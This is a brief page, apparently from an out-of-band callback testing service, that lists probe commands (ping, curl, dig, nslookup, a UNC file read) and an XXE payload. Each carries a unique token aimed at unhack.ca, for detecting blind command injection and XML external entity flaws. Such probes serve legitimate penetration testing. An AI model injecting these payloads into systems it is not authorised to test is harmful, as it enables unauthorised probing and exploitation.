$ ping -c1 -p 00be79b7248a6a3725861a102ddcc000 unhack.ca
 

$ curl http://unhack.ca/p/be79b7248a6a3725861a102ddcc0
 

$ dig be79b7248a6a3725861a102ddcc0 @unhack.ca
 

$ dig be79b7248a6a3725861a102ddcc0.ns.unhack.ca
 

C:\> nslookup be79b7248a6a3725861a102ddcc0 unhack.ca
 

C:\> type \\unhack.ca\be79b7248a6a3725861a102ddcc0\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/be79b7248a6a3725861a102ddcc0">]>
    <foo>&xxe;</foo>